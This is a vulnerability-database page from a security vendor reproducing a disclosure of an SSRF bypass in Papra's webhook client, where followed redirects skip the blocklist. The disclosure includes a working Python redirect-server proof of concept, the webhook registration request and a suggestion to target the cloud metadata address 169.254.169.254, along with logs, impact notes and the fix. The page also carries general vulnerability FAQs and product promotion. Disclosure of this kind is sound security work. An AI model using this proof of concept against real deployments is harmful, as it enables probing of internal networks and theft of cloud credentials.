How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

357,869

Total vulnerabilities in the database

CVE-2026-48051 — @papra / webhooks

Server-Side Request Forgery (SSRF)

Summary

Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.

Details

The vulnerable call

The webhook HTTP client in packages/webhooks/src/webhooks.services.ts (lines 16–19) calls ofetch.raw() without specifying a redirect option:

const response = await ofetch.raw&lt;unknown&gt;(url, {
  ...options,
  ignoreResponseError: true,
  // no `redirect` option — defaults to &#039;follow&#039; per Fetch API spec
});

ofetch is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — follow, error, and manual — and sets follow as the default. In follow mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. ofetch 1.4.1 does not set a redirect option in its internal fetch() call, so the default applies. The ignoreResponseError: true option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.

How the bypass works

The SSRF protection runs at two points: registration time (checkWebhookUrlIsSsrfSafe, webhooks.usecases.ts:34) and delivery time (filterOutSsrfUnsafeWebhooks, webhooks.usecases.ts:124). Both checks work the same way:

// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27
const hostname = getUrlHostname(url);
return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });
// Resolves hostname → checks all resulting IPs against the blocklist
// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,
//                   169.254.0.0/16, ::1, and other reserved ranges

Both checks operate on url — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The Location header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.

The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.

Evidence

Attacker's redirect server receives the POST and returns 302:

[2026-05-08T15:55:38.388647] POST /redirect
  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47
  X-Forwarded-For: &lt;REDACTED&gt;
&quot;POST /redirect HTTP/1.1&quot; 302 -

Papra's inbound request log immediately after — this is the server logging a request arriving at itself:

{&quot;message&quot;:&quot;Request completed&quot;,&quot;timestampMs&quot;:1778255738420,
 &quot;data&quot;:{&quot;status&quot;:200,&quot;method&quot;:&quot;GET&quot;,&quot;path&quot;:&quot;/api/health&quot;,
         &quot;userAgent&quot;:&quot;papra-webhook-client&quot;}}   ← outbound UA on an inbound request

papra-webhook-client is set exclusively by the outbound webhook delivery code (webhooks.services.ts:47). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:

{&quot;message&quot;:&quot;Webhook triggered&quot;,&quot;timestampMs&quot;:1778255738422,
 &quot;data&quot;:{&quot;responseStatus&quot;:200,&quot;webhookId&quot;:&quot;wbh_s6t1xzezbzbivyhptcs7qxhk&quot;}}

PoC

Start redirect_server.py on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace REDIRECT_TARGET with http://169.254.169.254/latest/meta-data/ or any internal address.

from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import datetime

REDIRECT_TARGET = &quot;http://127.0.0.1:1221/api/health&quot;  # replace with desired internal target

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_len = int(self.headers.get(&quot;Content-Length&quot;, 0))
        body = self.rfile.read(content_len)
        print(f&quot;[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}&quot;)
        print(f&quot;  User-Agent: {self.headers.get(&#039;User-Agent&#039;)}&quot;)
        print(f&quot;  Body: {body[:200]}&quot;)
        self.send_response(302)
        self.send_header(&quot;Location&quot;, REDIRECT_TARGET)
        self.end_headers()

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

if __name__ == &quot;__main__&quot;:
    server = ThreadedHTTPServer((&quot;0.0.0.0&quot;, 9999), RedirectHandler)
    print(&quot;Redirect server running on port 9999&quot;)
    server.serve_forever()

> ThreadingMixIn is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.

Register a webhook pointing to the redirect server: POST /api/organizations/{orgId}/webhooks {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]}
Upload any document to the organisation to fire a document:created event.
Confirm on the Papra server logs that /api/health received a GET request with User-Agent: papra-webhook-client.

Impact

Any authenticated org member (no admin role required) can trigger the exploit.
The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: 127.0.0.0/8, 169.254.0.0/16, RFC-1918 ranges.
This is blind SSRF — internal response bodies are written to webhook_deliveries but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.
Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).
HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.
On cloud deployments (AWS, GCP, Azure), the instance metadata service at 169.254.169.254 is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.

Suggested Fix

Add redirect: 'manual' to the ofetch.raw() call in packages/webhooks/src/webhooks.services.ts (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:

const response = await ofetch.raw&lt;unknown&gt;(url, {
  ...options,
  redirect: &#039;manual&#039;,       // do not follow redirects
  ignoreResponseError: true,
});

If redirect-following is ever required in the future, validate the Location header through the existing isUrlSsrfSafe() check before re-issuing the request.

Published: Jun 10, 2026
Updated: Jun 11, 2026
CVE: CVE-2026-48051
GHSA: GHSA-5g86-85rp-f9hx
Severity: Low
Exploit:
CISA KEV:

CVSS v3:

Severity: Low
Score: 3.5
AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

CWEs:

CWE-918

Affected Software
References

Software	From	Fixed in
@papra / webhooks	-	0.3.3

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.